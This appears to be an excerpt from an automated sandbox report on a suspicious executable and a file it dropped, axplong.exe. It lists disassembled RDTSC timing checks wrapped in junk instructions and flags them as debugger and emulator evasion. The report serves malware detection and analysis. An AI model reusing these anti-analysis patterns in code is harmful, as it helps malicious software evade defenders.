Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380B8B second address: 5380BCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F7797Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bx, 7964h 0x0000000f mov edx, 3BE2C7D0h 0x00000014 popad 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F1F50F77980h 0x0000001f add si, 3418h 0x00000024 jmp 00007F1F50F7797Bh 0x00000029 popfd 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380CC6 second address: 5380CE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 0694h 0x00000007 push edx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esp, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1F50CBBC41h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380CE9 second address: 5380CEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380CEF second address: 5380CF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, al 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380CF6 second address: 5380D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov al, C2h 0x0000000d mov ax, di 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390C7E second address: 5390C84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390C84 second address: 5390CCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77984h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1F50F77980h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ecx, 1DA5A7D3h 0x00000018 jmp 00007F1F50F77988h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390CCF second address: 5390D27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1F50CBBC41h 0x00000009 and al, 00000046h 0x0000000c jmp 00007F1F50CBBC41h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov dx, cx 0x0000001c push esi 0x0000001d pop esi 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 call 00007F1F50CBBC48h 0x00000029 pop esi 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390A61 second address: 5390A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390A65 second address: 5390A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390A69 second address: 5390A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390A6F second address: 5390A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390A75 second address: 5390A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5410619 second address: 5410658 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushfd 0x00000008 jmp 00007F1F50CBBC3Bh 0x0000000d and ah, 0000006Eh 0x00000010 jmp 00007F1F50CBBC49h 0x00000015 popfd 0x00000016 pop eax 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1F50CBBC3Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400A84 second address: 5400AB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1F50F7797Fh 0x00000009 jmp 00007F1F50F77983h 0x0000000e popfd 0x0000000f mov esi, 216CF89Fh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400AB9 second address: 5400B11 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1F50CBBC3Ch 0x00000008 xor eax, 1F69DC08h 0x0000000e jmp 00007F1F50CBBC3Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F1F50CBBC48h 0x0000001c add eax, 5F23FE68h 0x00000022 jmp 00007F1F50CBBC3Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov cx, di 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400B11 second address: 5400B16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400B16 second address: 5400B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F1F50CBBC3Fh 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F1F50CBBC40h 0x00000017 or cx, 5328h 0x0000001c jmp 00007F1F50CBBC3Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F1F50CBBC48h 0x00000028 and ah, FFFFFF88h 0x0000002b jmp 00007F1F50CBBC3Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54008A2 second address: 54008A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0022 second address: 53A0027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400E40 second address: 5400E61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 226B4A8Eh 0x00000008 mov cx, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 movzx eax, di 0x00000013 mov bx, A6ECh 0x00000017 popad 0x00000018 mov dword ptr [esp], ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400E61 second address: 5400E7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400E7D second address: 5400F23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 mov esi, 47C24849h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007F1F50F77984h 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 jmp 00007F1F50F77980h 0x0000001d push dword ptr [ebp+08h] 0x00000020 jmp 00007F1F50F77980h 0x00000025 push 092B3459h 0x0000002a jmp 00007F1F50F77981h 0x0000002f xor dword ptr [esp], 092A345Bh 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 jmp 00007F1F50F77983h 0x0000003e pushfd 0x0000003f jmp 00007F1F50F77988h 0x00000044 adc al, FFFFFFB8h 0x00000047 jmp 00007F1F50F7797Bh 0x0000004c popfd 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400F23 second address: 5400F29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400F29 second address: 5400F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400F2D second address: 5400F31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400FA8 second address: 5400FCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5400FCC second address: 5400FD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FABB01 second address: FABB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1F50F77976h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FABD03 second address: FABD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50CBBC48h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jbe 00007F1F50CBBC44h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FABD2C second address: FABD30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B039F second address: 53B0416 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F1F50CBBC3Eh 0x0000000d push eax 0x0000000e jmp 00007F1F50CBBC3Bh 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F1F50CBBC46h 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F1F50CBBC3Eh 0x00000022 xor si, 1888h 0x00000027 jmp 00007F1F50CBBC3Bh 0x0000002c popfd 0x0000002d mov ecx, 2D8848FFh 0x00000032 popad 0x00000033 push FFFFFFFEh 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F1F50CBBC41h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0416 second address: 53B0486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 3554A069h 0x0000000e jmp 00007F1F50F77987h 0x00000013 xor dword ptr [esp], 43AC6071h 0x0000001a pushad 0x0000001b mov esi, 6E4935DBh 0x00000020 mov ax, 54B7h 0x00000024 popad 0x00000025 push 4519C273h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f pushfd 0x00000030 jmp 00007F1F50F77982h 0x00000035 adc al, FFFFFFD8h 0x00000038 jmp 00007F1F50F7797Bh 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0486 second address: 53B049E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50CBBC44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B049E second address: 53B04E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 31D5EB8Dh 0x0000000f jmp 00007F1F50F77987h 0x00000014 mov eax, dword ptr fs:[00000000h] 0x0000001a jmp 00007F1F50F77986h 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04E7 second address: 53B04EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04EB second address: 53B04EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04EF second address: 53B04F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04F5 second address: 53B04FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04FB second address: 53B04FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04FF second address: 53B0503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0503 second address: 53B05A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e mov dx, 3928h 0x00000012 popad 0x00000013 nop 0x00000014 pushad 0x00000015 mov bx, 0540h 0x00000019 push edx 0x0000001a pushfd 0x0000001b jmp 00007F1F50CBBC44h 0x00000020 sbb esi, 30426B88h 0x00000026 jmp 00007F1F50CBBC3Bh 0x0000002b popfd 0x0000002c pop esi 0x0000002d popad 0x0000002e sub esp, 1Ch 0x00000031 pushad 0x00000032 movsx edi, cx 0x00000035 mov ebx, eax 0x00000037 popad 0x00000038 xchg eax, ebx 0x00000039 jmp 00007F1F50CBBC48h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 movzx ecx, dx 0x00000045 pushfd 0x00000046 jmp 00007F1F50CBBC49h 0x0000004b sub ecx, 2B84DAB6h 0x00000051 jmp 00007F1F50CBBC41h 0x00000056 popfd 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B05A3 second address: 53B0676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F50F77987h 0x00000008 mov ebx, ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F1F50F77980h 0x00000015 or cl, 00000038h 0x00000018 jmp 00007F1F50F7797Bh 0x0000001d popfd 0x0000001e jmp 00007F1F50F77988h 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 jmp 00007F1F50F77980h 0x0000002a push eax 0x0000002b jmp 00007F1F50F7797Bh 0x00000030 xchg eax, esi 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F1F50F77984h 0x00000038 or esi, 03800C28h 0x0000003e jmp 00007F1F50F7797Bh 0x00000043 popfd 0x00000044 jmp 00007F1F50F77988h 0x00000049 popad 0x0000004a xchg eax, edi 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F1F50F77987h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0676 second address: 53B067C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B067C second address: 53B06B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F7797Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov bl, ch 0x0000000f popad 0x00000010 xchg eax, edi 0x00000011 jmp 00007F1F50F7797Dh 0x00000016 mov eax, dword ptr [76FAB370h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1F50F7797Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B06B4 second address: 53B0707 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1F50CBBC3Ch 0x00000013 or ax, 18D8h 0x00000018 jmp 00007F1F50CBBC3Bh 0x0000001d popfd 0x0000001e mov dl, ah 0x00000020 popad 0x00000021 xor eax, ebp 0x00000023 jmp 00007F1F50CBBC40h 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0707 second address: 53B070B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B070B second address: 53B070F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B070F second address: 53B0715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0715 second address: 53B0764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1F50CBBC41h 0x00000011 adc esi, 2BC97486h 0x00000017 jmp 00007F1F50CBBC41h 0x0000001c popfd 0x0000001d movzx eax, bx 0x00000020 popad 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0764 second address: 53B0768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0768 second address: 53B076E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B076E second address: 53B07BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov di, FB6Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lea eax, dword ptr [ebp-10h] 0x0000000f pushad 0x00000010 mov di, 4C04h 0x00000014 mov cx, di 0x00000017 popad 0x00000018 mov dword ptr fs:[00000000h], eax 0x0000001e jmp 00007F1F50F7797Fh 0x00000023 mov esi, dword ptr [ebp+08h] 0x00000026 jmp 00007F1F50F77986h 0x0000002b mov eax, dword ptr [esi+10h] 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B07BD second address: 53B07C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B07C1 second address: 53B07C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B07C7 second address: 53B0877 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007F1F50CBBC40h 0x00000010 jne 00007F1FC27BB169h 0x00000016 jmp 00007F1F50CBBC40h 0x0000001b sub eax, eax 0x0000001d pushad 0x0000001e mov edx, 42205FF2h 0x00000023 popad 0x00000024 mov dword ptr [ebp-20h], eax 0x00000027 pushad 0x00000028 movsx edi, si 0x0000002b popad 0x0000002c mov ebx, dword ptr [esi] 0x0000002e pushad 0x0000002f call 00007F1F50CBBC46h 0x00000034 pushad 0x00000035 popad 0x00000036 pop ecx 0x00000037 mov eax, edx 0x00000039 popad 0x0000003a mov dword ptr [ebp-24h], ebx 0x0000003d pushad 0x0000003e mov bh, 65h 0x00000040 call 00007F1F50CBBC42h 0x00000045 mov bx, cx 0x00000048 pop esi 0x00000049 popad 0x0000004a test ebx, ebx 0x0000004c pushad 0x0000004d jmp 00007F1F50CBBC43h 0x00000052 popad 0x00000053 je 00007F1FC27BB048h 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0877 second address: 53B087D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B087D second address: 53B08AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp ebx, FFFFFFFFh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1F50CBBC3Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B08AC second address: 53B08B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B08B2 second address: 53B08B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B08B6 second address: 53B039F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1FC2A76D33h 0x0000000d jne 00007F1F50F77999h 0x0000000f xor ecx, ecx 0x00000011 mov dword ptr [esi], ecx 0x00000013 mov dword ptr [esi+04h], ecx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], ecx 0x0000001c mov dword ptr [esi+10h], ecx 0x0000001f mov dword ptr [esi+14h], ecx 0x00000022 mov ecx, dword ptr [ebp-10h] 0x00000025 mov dword ptr fs:[00000000h], ecx 0x0000002c pop ecx 0x0000002d pop edi 0x0000002e pop esi 0x0000002f pop ebx 0x00000030 mov esp, ebp 0x00000032 pop ebp 0x00000033 retn 0004h 0x00000036 nop 0x00000037 pop ebp 0x00000038 ret 0x00000039 add esi, 18h 0x0000003c pop ecx 0x0000003d cmp esi, 00DD5678h 0x00000043 jne 00007F1F50F77960h 0x00000045 push esi 0x00000046 call 00007F1F50F781E3h 0x0000004b push ebp 0x0000004c mov ebp, esp 0x0000004e push dword ptr [ebp+08h] 0x00000051 call 00007F1F5559AE1Dh 0x00000056 mov edi, edi 0x00000058 pushad 0x00000059 push esi 0x0000005a mov ah, bh 0x0000005c pop eax 0x0000005d push eax 0x0000005e push edx 0x0000005f movsx edx, ax 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0CE4 second address: 53A0D01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0D01 second address: 53A0D26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 5892h 0x00000007 movsx ebx, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f push ecx 0x00000010 movsx edx, cx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1F50F7797Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0D26 second address: 53A0D54 instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1F50CBBC3Eh 0x00000011 sub si, 2308h 0x00000016 jmp 00007F1F50CBBC3Bh 0x0000001b popfd 0x0000001c mov ebx, esi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0D54 second address: 53A0D89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 call 00007F1F50F77987h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1F50F77982h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0D89 second address: 53A0D9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0D9F second address: 53A0DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0DA7 second address: 53A0DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe RDTSC instruction interceptor: First address: 73E81E second address: 73E840 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77986h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop eax 0x00000011 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
